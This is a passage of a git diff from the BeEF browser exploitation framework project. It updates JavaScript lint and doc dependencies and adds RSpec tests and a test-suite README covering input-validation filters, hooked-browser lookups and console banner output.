"sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==", + "dev": true, + "license": "MIT", + "dependencies": { + "p-limit": "^3.0.2" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/path-exists": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", + "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", "dev": true, "license": "MIT", "engines": { - "node": ">=0.10.0" + "node": ">=8" } }, "node_modules/path-key": { @@ -1716,13 +1556,6 @@ "node": ">=8" } }, - "node_modules/picocolors": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", - "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==", - "dev": true, - "license": "ISC" - }, "node_modules/picomatch": { "version": "2.3.2", "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.2.tgz", @@ -1746,16 +1579,6 @@ "node": ">= 0.8.0" } }, - "node_modules/progress": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/progress/-/progress-2.0.3.tgz", - "integrity": "sha512-7PiHtLll5LdnKIMw100I+8xJXR5gW2QwWYkT6iJva0bXitZKa/XMrSbdmg3r2Xnaidz9Qumd0VPaMrZlF9V9sA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=0.4.0" - } - }, "node_modules/punycode": { "version": "2.3.1", "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz", @@ -1795,29 +1618,6 @@ } ] }, - "node_modules/regexpp": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/regexpp/-/regexpp-3.2.0.tgz", - "integrity": "sha512-pq2bWo9mVD43nbts2wGv17XLiNLya+GklZ8kaDLV2Z08gDCsGpnKn9BFMepvWuHCbyVvY7J5o5+BVvoQbmlJLg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/sponsors/mysticatea" - } - }, - "node_modules/require-from-string": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz", - "integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, "node_modules/requizzle": { "version": "0.2.4", "resolved": "https://registry.npmjs.org/requizzle/-/requizzle-0.2.4.tgz", @@ -1827,16 +1627,6 @@ "lodash": "^4.17.21" } }, - "node_modules/resolve-from": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz", - "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=4" - } - }, "node_modules/reusify": { "version": "1.0.4", "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.0.4.tgz", @@ -1847,23 +1637,6 @@ "node": ">=0.10.0" } }, - "node_modules/rimraf": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", - "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", - "deprecated": "Rimraf versions prior to v4 are no longer supported", - "dev": true, - "license": "ISC", - "dependencies": { - "glob": "^7.1.3" - }, - "bin": { - "rimraf": "bin.js" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, "node_modules/run-parallel": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz", @@ -1887,19 +1660,6 @@ "queue-microtask": "^1.2.2" } }, - "node_modules/semver": { - "version": "7.7.3", - "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.3.tgz", - "integrity": "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q==", - "dev": true, - "license": "ISC", - "bin": { - "semver": "bin/semver.js" - }, - "engines": { - "node": ">=10" - } - }, "node_modules/shebang-command": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", @@ -1923,24 +1683,6 @@ "node": ">=8" } }, - "node_modules/slice-ansi": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-4.0.0.tgz", - "integrity": "sha512-qMCMfhY040cVHT43K9BFygqYbUPFZKHOg7K73mtTWJRb8pyP3fzf4Ixd5SzdEJQ6MRUg/WBnOLxghZtKKurENQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "ansi-styles": "^4.0.0", - "astral-regex": "^2.0.0", - "is-fullwidth-code-point": "^3.0.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/chalk/slice-ansi?sponsor=1" - } - }, "node_modules/sort-array": { "version": "5.1.1", "resolved": "https://registry.npmjs.org/sort-array/-/sort-array-5.1.1.tgz", @@ -1972,41 +1714,6 @@ "node": ">=0.10.0" } }, - "node_modules/sprintf-js": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz", - "integrity": "sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==", - "dev": true, - "license": "BSD-3-Clause" - }, - "node_modules/string-width": { - "version": "4.2.3", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", - "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", - "dev": true, - "license": "MIT", - "dependencies": { - "emoji-regex": "^8.0.0", - "is-fullwidth-code-point": "^3.0.0", - "strip-ansi": "^6.0.1" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/strip-ansi": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", - "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", - "dev": true, - "license": "MIT", - "dependencies": { - "ansi-regex": "^5.0.1" - }, - "engines": { - "node": ">=8" - } - }, "node_modules/strip-json-comments": { "version": "3.1.1", "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz", @@ -2031,23 +1738,6 @@ "node": ">=8" } }, - "node_modules/table": { - "version": "6.9.0", - "resolved": "https://registry.npmjs.org/table/-/table-6.9.0.tgz", - "integrity": "sha512-9kY+CygyYM6j02t5YFHbNz2FN5QmYGv9zAjVp4lCDjlCw7amdckXlEt/bjMhUIfj4ThGRE4gCUH5+yGnNuPo5A==", - "dev": true, - "license": "BSD-3-Clause", - "dependencies": { - "ajv": "^8.0.1", - "lodash.truncate": "^4.4.2", - "slice-ansi": "^4.0.0", - "string-width": "^4.2.3", - "strip-ansi": "^6.0.1" - }, - "engines": { - "node": ">=10.0.0" - } - }, "node_modules/table-layout": { "version": "4.1.1", "resolved": "https://registry.npmjs.org/table-layout/-/table-layout-4.1.1.tgz", @@ -2061,37 +1751,6 @@ "node": ">=12.17" } }, - "node_modules/table/node_modules/ajv": { - "version": "8.17.1", - "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.17.1.tgz", - "integrity": "sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g==", - "dev": true, - "license": "MIT", - "dependencies": { - "fast-deep-equal": "^3.1.3", - "fast-uri": "^3.0.1", - "json-schema-traverse": "^1.0.0", - "require-from-string": "^2.0.2" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/epoberezkin" - } - }, - "node_modules/table/node_modules/json-schema-traverse": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", - "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", - "dev": true, - "license": "MIT" - }, - "node_modules/text-table": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/text-table/-/text-table-0.2.0.tgz", - "integrity": "sha512-N+8UisAXDGk8PFXP4HAzVR9nbfmVJ3zYLAWiTIoqC5v5isinhr+r5uaO8+7r3BMfuNIufIsA7RdpVgacC2cSpw==", - "dev": true, - "license": "MIT" - }, "node_modules/to-fast-properties": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/to-fast-properties/-/to-fast-properties-2.0.0.tgz", @@ -2126,19 +1785,6 @@ "node": ">= 0.8.0" } }, - "node_modules/type-fest": { - "version": "0.20.2", - "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.20.2.tgz", - "integrity": "sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==", - "dev": true, - "license": "(MIT OR CC0-1.0)", - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, "node_modules/typical": { "version": "7.2.0", "resolved": "https://registry.npmjs.org/typical/-/typical-7.2.0.tgz", @@ -2183,13 +1829,6 @@ "punycode": "^2.1.0" } }, - "node_modules/v8-compile-cache": { - "version": "2.4.0", - "resolved": "https://registry.npmjs.org/v8-compile-cache/-/v8-compile-cache-2.4.0.tgz", - "integrity": "sha512-ocyWc3bAHBB/guyqJQVI5o4BZkPhznPYUG2ea80Gond/BgNWpap8TOmLSeeQG7bnh2KMISxskdADG59j7zruhw==", - "dev": true, - "license": "MIT" - }, "node_modules/walk-back": { "version": "5.1.1", "resolved": "https://registry.npmjs.org/walk-back/-/walk-back-5.1.1.tgz", @@ -2240,18 +1879,24 @@ "node": ">=12.17" } }, - "node_modules/wrappy": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", - "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==", - "dev": true, - "license": "ISC" - }, "node_modules/xmlcreate": { "version": "2.0.4", "resolved": "https://registry.npmjs.org/xmlcreate/-/xmlcreate-2.0.4.tgz", "integrity": "sha512-nquOebG4sngPmGPICTS5EnxqhKbCmz5Ox5hsszI2T6U5qdrJizBc+0ilYSEjTSzU0yZcmvppztXe/5Al5fUwdg==", "dev": true + }, + "node_modules/yocto-queue": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", + "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } } } } diff --git a/package.json b/package.json index e8c1ef461..083939500 100644 --- a/package.json +++ b/package.json @@ -4,15 +4,17 @@ "description": "The Browser Exploitation Framework Project", "scripts": { "docs": "./node_modules/.bin/jsdoc -c conf.json", - "lint": "eslint", - "lint:fix": "eslint --fix" + "lint": "eslint .", + "lint:fix": "eslint --fix ." }, "author": "Wade Alcorn", "license": "GNU General Public License v2.0", "devDependencies": { - "eslint": "^7.32.0", - "jsdoc": "^4.0.5", - "jsdoc-to-markdown": "^9.1.3" + "@eslint/js": "10.0.1", + "eslint": "10.4.0", + "globals": "17.6.0", + "jsdoc": "4.0.5", + "jsdoc-to-markdown": "9.1.3" }, "dependencies": {} } diff --git a/spec/README.md b/spec/README.md new file mode 100644 index 000000000..2a524a6cd --- /dev/null +++ b/spec/README.md @@ -0,0 +1,168 @@ +# BeEF Test Suite + +This directory contains the BeEF test suite using RSpec and SimpleCov for comprehensive testing and coverage reporting. + +## Setup + +### Prerequisites +- Ruby 3.0+ +- Bundler +- All gems from `Gemfile` + +### Configuration Files +- `spec/spec_helper.rb` - Main test configuration +- `.simplecov` - Coverage configuration +- `spec/support/` - Test helpers and utilities + +## Running Tests + +### Basic Commands + +```bash +# Run all tests (fast, no coverage) +bundle exec rake short +# or +bundle exec rspec spec/ --tag '~run_on_browserstack' --tag '~run_on_long_tests' + +# Run specific component tests +bundle exec rspec spec/beef/core/ +bundle exec rspec spec/beef/extensions/ +bundle exec rspec spec/beef/modules/ +``` + +### Coverage Commands + +```bash +# Complete coverage (recommended) +bundle exec rake coverage +# or +COVERAGE=all bundle exec rspec spec/ --tag '~run_on_browserstack' --tag '~run_on_long_tests' + +# Component-specific coverage +bundle exec rake coverage_core # Core only +bundle exec rake coverage_modules # Modules only +bundle exec rake coverage_extensions # Extensions only +``` + +### Legacy Commands (Still Supported) + +```bash +# Old coverage commands still work +bundle exec rake coverage:modules +bundle exec rake coverage:all +bundle exec rake coverage_complete +``` + +## Architecture + +### SimpleCov Configuration + +- **Environment-based**: Uses `COVERAGE=core|modules|extensions|all` environment variable +- **Grouped reporting**: Separate groups for Core, Extensions, and Modules +- **Filtered tracking**: Only tracks relevant files based on focus area +- **HTML reports**: Generated in `coverage/` directory + +### Test Organization + +- **Centralized config**: `BeefTestConfig` module provides test data instead of global constants +- **Component isolation**: Each component (core/extensions/modules) has dedicated specs +- **Branch coverage**: Realistic test data for conditional logic testing +- **Mock management**: Proper mocking of external dependencies + +### Rake Tasks + +- **Clean separation**: Base `spec*` tasks vs coverage `coverage*` tasks +- **Environment variables**: Coverage controlled via `COVERAGE` env var +- **No sequential execution**: Single test runs with proper filtering +- **Backward compatibility**: Old task names still work + +## Key Improvements + +### ✅ **Eliminated Global Constant Collisions** +- Branch-coverage data for the dynamic module spec loaders lives in + `BeefTestConfig.branch_coverage_for(:component)` (in `spec/spec_helper.rb`). +- Each module spec file pulls its own component (`:browser`, `:exploits`, `:host`, + `:misc`, `:network`, `:social_engineering`) into a uniquely-named local + constant (e.g. `BRANCH_COVERAGE_HOST`), so loading the full suite no longer + triggers "already initialized constant" warnings or silently overwrites data. + +### ✅ **Simplified Coverage Logic** +- Cleaner filtering using `track_files` instead of complex `add_filter` logic +- Environment variable `COVERAGE` instead of `COVERAGE_FOCUS` + +### ✅ **Better Test Organization** +- Centralized test configuration in `BeefTestConfig` +- Component-specific test data loading +- Reduced code duplication + +### ✅ **Cleaner Rake Tasks** +- Single execution instead of sequential runs +- Proper environment variable usage +- Backward compatibility maintained + +### ✅ **Standard Patterns** +- Uses `.simplecov` config file (standard practice) +- Follows RSpec best practices +- Better separation of concerns + +## Module Spec Pattern (dynamic loaders) + +Specs under `spec/beef/modules/**/_spec.rb` walk every +`modules//**/module.rb` file and generate a `RSpec.describe` block per +class. They cover: + +- `.options` returns an `Array` (when defined) +- `#pre_send` runs without raising (when defined) +- `#post_execute` runs without raising (when defined) +- An extra `#post_execute` example with a realistic datastore for any module + listed in `BeefTestConfig.branch_coverage_for(:category)` + +Trade-off: this is a coverage-driving baseline. The `expect { ... }.not_to +raise_error` assertion catches load failures, missing constants, nil crashes, +and undefined methods, but it does not assert behavioural correctness. Add +targeted assertions for high-value modules (see the `Wordpress_add_user` and +`Test_get_variable` examples in `spec/beef/modules/misc/misc_spec.rb`). + +## Coverage Focus Areas + +- **core**: Framework core functionality +- **extensions**: Extension modules +- **modules**: Command modules (main focus) +- **all**: Complete coverage across all areas + +## Troubleshooting + +### Common Issues + +1. **"already initialized constant" warnings** + - Fixed by using centralized config instead of global constants + +2. **Low coverage percentages** + - Use `COVERAGE=all` for complete coverage + - Ensure realistic test data triggers conditional paths + +3. **Test failures** + - Check that mocks are properly configured + - Verify test data matches module expectations + +### Debug Commands + +```bash +# Run with debug output +bundle exec rspec --format documentation + +# Run single test file +bundle exec rspec spec/beef/modules/browser/browser_spec.rb + +# Check coverage report +open coverage/index.html +``` + +## Contributing + +When adding new tests: + +1. Use `BeefTestConfig.branch_coverage_for(:component)` for branch test data +2. Add realistic datastore values that trigger conditional logic +3. Mock external dependencies (database, network, etc.) +4. Follow existing patterns for consistency \ No newline at end of file diff --git a/spec/beef/core/filter/base_spec.rb b/spec/beef/core/filter/base_spec.rb index 6e54d0dea..d818bf9e4 100644 --- a/spec/beef/core/filter/base_spec.rb +++ b/spec/beef/core/filter/base_spec.rb @@ -307,4 +307,142 @@ RSpec.describe BeEF::Filters do end end end + + describe '.is_valid_ip?' do + it 'returns false for nil, empty, or non-string' do + expect(BeEF::Filters.is_valid_ip?(nil)).to be(false) + expect(BeEF::Filters.is_valid_ip?('')).to be(false) + end + + it 'returns true for valid IPv4' do + expect(BeEF::Filters.is_valid_ip?('127.0.0.1')).to be(true) + expect(BeEF::Filters.is_valid_ip?('192.168.1.1')).to be(true) + expect(BeEF::Filters.is_valid_ip?('10.0.0.1')).to be(true) + expect(BeEF::Filters.is_valid_ip?('0.0.0.0')).to be(true) + end + + it 'returns false for invalid IPv4' do + expect(BeEF::Filters.is_valid_ip?('256.1.1.1')).to be(false) + expect(BeEF::Filters.is_valid_ip?('1.2.3')).to be(false) + expect(BeEF::Filters.is_valid_ip?('not.an.ip')).to be(false) + end + + it 'accepts :ipv4 version' do + expect(BeEF::Filters.is_valid_ip?('127.0.0.1', :ipv4)).to be(true) + expect(BeEF::Filters.is_valid_ip?('256.1.1.1', :ipv4)).to be(false) + end + + it 'accepts :both version (default)' do + expect(BeEF::Filters.is_valid_ip?('127.0.0.1')).to be(true) + end + end + + describe '.is_valid_private_ip?' do + it 'returns false when ip is not valid' do + expect(BeEF::Filters.is_valid_private_ip?(nil)).to be(false) + expect(BeEF::Filters.is_valid_private_ip?('8.8.8.8')).to be(false) + end + + it 'returns true for 127.x (localhost)' do + expect(BeEF::Filters.is_valid_private_ip?('127.0.0.1')).to be(true) + end + + it 'returns true for 192.168.x' do + expect(BeEF::Filters.is_valid_private_ip?('192.168.1.1')).to be(true) + end + + it 'returns true for 10.x' do + expect(BeEF::Filters.is_valid_private_ip?('10.0.0.1')).to be(true) + end + + it 'returns false for public IPv4' do + expect(BeEF::Filters.is_valid_private_ip?('8.8.8.8')).to be(false) + end + end + + describe '.is_valid_port?' do + it 'returns true for valid port range' do + expect(BeEF::Filters.is_valid_port?(1)).to be(true) + expect(BeEF::Filters.is_valid_port?('80')).to be(true) + expect(BeEF::Filters.is_valid_port?(65535)).to be(true) + end + + it 'returns false for 0 or negative' do + expect(BeEF::Filters.is_valid_port?(0)).to be(false) + expect(BeEF::Filters.is_valid_port?('0')).to be(false) + end + + it 'returns false for port above 65535' do + expect(BeEF::Filters.is_valid_port?(65536)).to be(false) + end + end + + describe '.is_valid_domain?' do + it 'returns false for nil or empty' do + expect(BeEF::Filters.is_valid_domain?(nil)).to be(false) + expect(BeEF::Filters.is_valid_domain?('')).to be(false) + end + + it 'returns true for valid domain format' do + expect(BeEF::Filters.is_valid_domain?('example.com')).to be(true) + expect(BeEF::Filters.is_valid_domain?('sub.example.co.uk')).to be(true) + end + + it 'returns false for invalid domain format' do + expect(BeEF::Filters.is_valid_domain?('no-tld')).to be(false) + expect(BeEF::Filters.is_valid_domain?('.leading')).to be(false) + end + end + + describe '.has_valid_browser_details_chars?' do + it 'returns false for nil or empty' do + expect(BeEF::Filters.has_valid_browser_details_chars?(nil)).to be(false) + expect(BeEF::Filters.has_valid_browser_details_chars?('')).to be(false) + end + + it 'returns true when string only has allowed chars' do + # Method returns nil-on-no-match: nil.nil? == true, so a fully-valid string returns true. + expect(BeEF::Filters.has_valid_browser_details_chars?('abc')).to be(true) + expect(BeEF::Filters.has_valid_browser_details_chars?('a-b (c)')).to be(true) + end + + it 'returns false when string contains disallowed character' do + expect(BeEF::Filters.has_valid_browser_details_chars?('ab@c')).to be(false) + end + end + + describe '.has_valid_base_chars?' do + it 'returns false for nil or empty' do + expect(BeEF::Filters.has_valid_base_chars?(nil)).to be(false) + expect(BeEF::Filters.has_valid_base_chars?('')).to be(false) + end + + it 'returns true when string only has printable (and registered symbol)' do + expect(BeEF::Filters.has_valid_base_chars?('abc')).to be(true) + expect(BeEF::Filters.has_valid_base_chars?('Hello 123')).to be(true) + end + + it 'returns false when string has non-printable character' do + expect(BeEF::Filters.has_valid_base_chars?("ab\x00c")).to be(false) + end + end + + describe '.is_valid_yes_no?' do + it 'returns true for Yes and No (case insensitive)' do + expect(BeEF::Filters.is_valid_yes_no?('Yes')).to be(true) + expect(BeEF::Filters.is_valid_yes_no?('No')).to be(true) + expect(BeEF::Filters.is_valid_yes_no?('yes')).to be(true) + expect(BeEF::Filters.is_valid_yes_no?('no')).to be(true) + end + + it 'returns false for other values' do + expect(BeEF::Filters.is_valid_yes_no?('')).to be(false) + expect(BeEF::Filters.is_valid_yes_no?('maybe')).to be(false) + expect(BeEF::Filters.is_valid_yes_no?('1')).to be(false) + end + + it 'returns false when string has non-printable character' do + expect(BeEF::Filters.is_valid_yes_no?("Yes\x00")).to be(false) + end + end end diff --git a/spec/beef/core/filter/command_spec.rb b/spec/beef/core/filter/command_spec.rb index 1cb4dda42..c15d2759f 100644 --- a/spec/beef/core/filter/command_spec.rb +++ b/spec/beef/core/filter/command_spec.rb @@ -11,6 +11,10 @@ RSpec.describe BeEF::Filters do expect(BeEF::Filters.is_valid_path_info?("\x00")).to be(false) expect(BeEF::Filters.is_valid_path_info?(nil)).to be(false) end + + it 'returns false when argument is not a String' do + expect(BeEF::Filters.is_valid_path_info?(123)).to be(false) + end end describe '.is_valid_hook_session_id?' do @@ -43,15 +47,22 @@ RSpec.describe BeEF::Filters do end describe '.has_valid_param_chars?' do - it 'false' do + it 'returns false for nil, empty, or invalid chars' do chars = [nil, '', '+'] chars.each do |c| expect(BeEF::Filters.has_valid_param_chars?(c)).to be(false) end end - it 'true' do + it 'returns true for word, underscore, and colon' do expect(BeEF::Filters.has_valid_param_chars?('A')).to be(true) + expect(BeEF::Filters.has_valid_param_chars?('key_name')).to be(true) + expect(BeEF::Filters.has_valid_param_chars?('a:1')).to be(true) + end + + it 'returns false for string with spaces or special chars' do + expect(BeEF::Filters.has_valid_param_chars?('a b')).to be(false) + expect(BeEF::Filters.has_valid_param_chars?('a-b')).to be(false) end end end diff --git a/spec/beef/core/hbmanager_spec.rb b/spec/beef/core/hbmanager_spec.rb new file mode 100644 index 000000000..c1a00589c --- /dev/null +++ b/spec/beef/core/hbmanager_spec.rb @@ -0,0 +1,41 @@ +# +# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - https://beefproject.com +# See the file 'doc/COPYING' for copying permission +# + +require 'spec_helper' + +RSpec.describe BeEF::HBManager do + describe '.get_by_session' do + it 'returns the hooked browser when session exists' do + hb = BeEF::Core::Models::HookedBrowser.create!(session: 'hb_session_123', ip: '127.0.0.1') + + result = described_class.get_by_session('hb_session_123') + + expect(result).to eq(hb) + expect(result.session).to eq('hb_session_123') + end + + it 'returns nil when no hooked browser has the session' do + result = described_class.get_by_session('nonexistent_session') + + expect(result).to be_nil + end + end + + describe '.get_by_id' do + it 'returns the hooked browser when id exists' do + hb = BeEF::Core::Models::HookedBrowser.create!(session: 'hb_by_id', ip: '127.0.0.1') + + result = described_class.get_by_id(hb.id) + + expect(result).to eq(hb) + expect(result.id).to eq(hb.id) + end + + it 'raises when id does not exist' do + expect { described_class.get_by_id(999_999) }.to raise_error(ActiveRecord::RecordNotFound) + end + end +end diff --git a/spec/beef/core/main/console/banners_spec.rb b/spec/beef/core/main/console/banners_spec.rb new file mode 100644 index 000000000..e27b7cc8f --- /dev/null +++ b/spec/beef/core/main/console/banners_spec.rb @@ -0,0 +1,196 @@ +# +# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - https://beefproject.com +# See the file 'doc/COPYING' for copying permission +# + +require 'spec_helper' + +RSpec.describe BeEF::Core::Console::Banners do + let(:config) { BeEF::Core::Configuration.instance } + + before do + allow(described_class).to receive(:print_info) + allow(described_class).to receive(:print_more) + end + + describe '.print_welcome_msg' do + it 'calls print_info with version from config' do + allow(config).to receive(:get).with('beef.version').and_return('1.0.0') + described_class.print_welcome_msg + expect(described_class).to have_received(:print_info).with('Browser Exploitation Framework (BeEF) 1.0.0') + end + + it 'calls print_more with project links' do + allow(config).to receive(:get).with('beef.version').and_return('1.0.0') + described_class.print_welcome_msg + expect(described_class).to have_received(:print_more).with(a_string_including('@beefproject')) + expect(described_class).to have_received(:print_more).with(a_string_including('beefproject.com')) + expect(described_class).to have_received(:print_more).with(a_string_including('github.com/beefproject')) + end + + it 'calls print_info with project creator' do + allow(config).to receive(:get).with('beef.version').and_return('1.0.0') + described_class.print_welcome_msg + expect(described_class).to have_received(:print_info).with(a_string_including('Wade Alcorn')) + expect(described_class).to have_received(:print_info).with(a_string_including('@WadeAlcorn')) + end + end + + describe '.print_network_interfaces_count' do + it 'uses config local_host and sets interfaces when host is 0.0.0.0' do + allow(config).to receive(:local_host).and_return('0.0.0.0') + mock_addrs = [double('Addr', ip_address: '127.0.0.1', ipv4?: true), double('Addr', ip_address: '192.168.1.1', ipv4?: true)] + allow(Socket).to receive(:ip_address_list).and_return(mock_addrs) + described_class.print_network_interfaces_count + expect(described_class.interfaces).to eq(['127.0.0.1', '192.168.1.1']) + expect(described_class).to have_received(:print_info).with('2 network interfaces were detected.') + end + + it 'sets single interface when host is not 0.0.0.0' do + allow(config).to receive(:local_host).and_return('192.168.1.1') + described_class.print_network_interfaces_count + expect(described_class.interfaces).to eq(['192.168.1.1']) + expect(described_class).to have_received(:print_info).with('1 network interfaces were detected.') + end + end + + describe '.print_loaded_extensions' do + it 'calls print_info with count from Extensions.get_loaded' do + allow(BeEF::Extensions).to receive(:get_loaded).and_return({ 'AdminUI' => { 'name' => 'Admin UI' }, 'DNS' => { 'name' => 'DNS' } }) + described_class.print_loaded_extensions + expect(described_class).to have_received(:print_info).with('2 extensions enabled:') + expect(described_class).to have_received(:print_more).with(a_string_including('Admin UI')) + expect(described_class).to have_received(:print_more).with(a_string_including('DNS')) + end + + it 'handles empty extensions' do + allow(BeEF::Extensions).to receive(:get_loaded).and_return({}) + described_class.print_loaded_extensions + expect(described_class).to have_received(:print_info).with('0 extensions enabled:') + end + end + + describe '.print_loaded_modules' do + it 'calls print_info with count from Modules.get_enabled' do + enabled = double('Relation', count: 42) + allow(BeEF::Modules).to receive(:get_enabled).and_return(enabled) + described_class.print_loaded_modules + expect(described_class).to have_received(:print_info).with('42 modules enabled.') + end + end + + describe '.print_ascii_art' do + it 'reads and puts file content when beef.ascii exists' do + allow(File).to receive(:exist?).with('core/main/console/beef.ascii').and_return(true) + io = StringIO.new("BEEF\nASCII\n") + allow(File).to receive(:open).with('core/main/console/beef.ascii', 'r').and_yield(io) + allow(described_class).to receive(:puts) + described_class.print_ascii_art + expect(described_class).to have_received(:puts).with("BEEF\n") + expect(described_class).to have_received(:puts).with("ASCII\n") + end + + it 'does nothing when beef.ascii does not exist' do + allow(File).to receive(:exist?).with('core/main/console/beef.ascii').and_return(false) + expect(File).not_to receive(:open) + described_class.print_ascii_art + end + end + + describe '.print_network_interfaces_routes' do + before do + described_class.interfaces = ['127.0.0.1', '192.168.1.1'] + end + + it 'prints hook and UI URL for each interface when admin_ui enabled' do + allow(config).to receive(:local_proto).and_return('http') + allow(config).to receive(:hook_file_path).and_return('/hook.js') + allow(config).to receive(:get).with('beef.extension.admin_ui.enable').and_return(true) + allow(config).to receive(:get).with('beef.extension.admin_ui.base_path').and_return('/ui') + allow(config).to receive(:local_port).and_return(3000) + allow(config).to receive(:public_enabled?).and_return(false) + + described_class.print_network_interfaces_routes + + expect(described_class).to have_received(:print_info).with('running on network interface: 127.0.0.1') + expect(described_class).to have_received(:print_info).with('running on network interface: 192.168.1.1') + expect(described_class).to have_received(:print_more).with(a_string_matching(%r{Hook URL: http://127\.0\.0\.1:3000/hook\.js})) + expect(described_class).to have_received(:print_more).at_least(:twice).with(a_string_matching(%r{UI URL:.*/ui/panel})) + end + + it 'omits UI URL when admin_ui disabled' do + allow(config).to receive(:local_proto).and_return('http') + allow(config).to receive(:hook_file_path).and_return('/hook.js') + allow(config).to receive(:get).with('beef.extension.admin_ui.enable').and_return(false) + allow(config).to receive(:get).with('beef.extension.admin_ui.base_path').and_return('/ui') + allow(config).to receive(:local_port).and_return(3000) + allow(config).to receive(:public_enabled?).and_return(false) + + described_class.print_network_interfaces_routes + + expect(described_class).to have_received(:print_more).with("Hook URL: http://127.0.0.1:3000/hook.js\n") + expect(described_class).to have_received(:print_more).with("Hook URL: http://192.168.1.1:3000/hook.js\n") + end + + it 'prints public hook and UI when public_enabled?' do + allow(config).to receive(:local_proto).and_return('http') + allow(config).to 